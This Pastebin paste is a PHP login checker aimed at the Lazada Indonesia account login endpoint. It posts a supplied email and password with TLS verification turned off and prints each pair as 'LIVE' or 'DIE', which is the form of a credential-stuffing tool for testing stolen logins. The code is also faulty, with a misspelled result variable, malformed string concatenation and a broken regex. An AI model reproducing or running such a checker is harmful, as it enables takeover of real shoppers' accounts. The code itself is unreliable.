Advertisement
Ryfa

Untitled

Feb 9th, 2016
223
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.97 KB | None | 0 0
  1. <?php
  2. // Setting Username dan Password
  3. $username = $_POST['email'];
  4. $password = $_POST['pwd'];
  5. // Saatnya Menghajar
  6. //init curl
  7. $ch = curl_init('https://www.lazada.co.id/ajax/account/login/');
  8. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  9. curl_setopt($ch,CURLOPT_POST,1);
  10. curl_setopt($ch,CURLOPT_RETURNTRANSFER,TRUE);
  11. curl_setopt($ch,CURLOPT_POST,TRUE);
  12. curl_setopt($ch,CURLOPT_FOLLOWLOCATION,TRUE);
  13. curl_setopt($ch,CURLOPT_COOKIEFILE,"ikisme.txt");
  14. curl_setopt($ch,CURLOPT_COOKIEJAR, "ikisme.txt");
  15. curl_setopt($ch,CURLOPT_POSTFIELDS,"FORM_TOKEN=109210c04b4c0baab32dbc92459e9a505e9ee37c&referer=%2Fcustomer%2Fpayment%2Fmanage&LoginForm%5Bemail%5D='.$username.'&LoginForm%5Bpassword%5D='.$password.'");
  16. curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
  17. $result = curl_exec($ch);
  18. curl_close ($ch);
  19. if(preg_match("/\/account/edit/\/is",$reslut)){
  20. echo "LIVE => $username:$password";
  21. }else{
  22. echo "DIE => $username:$password ";
  23. }
  24.  
  25.  
  26. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement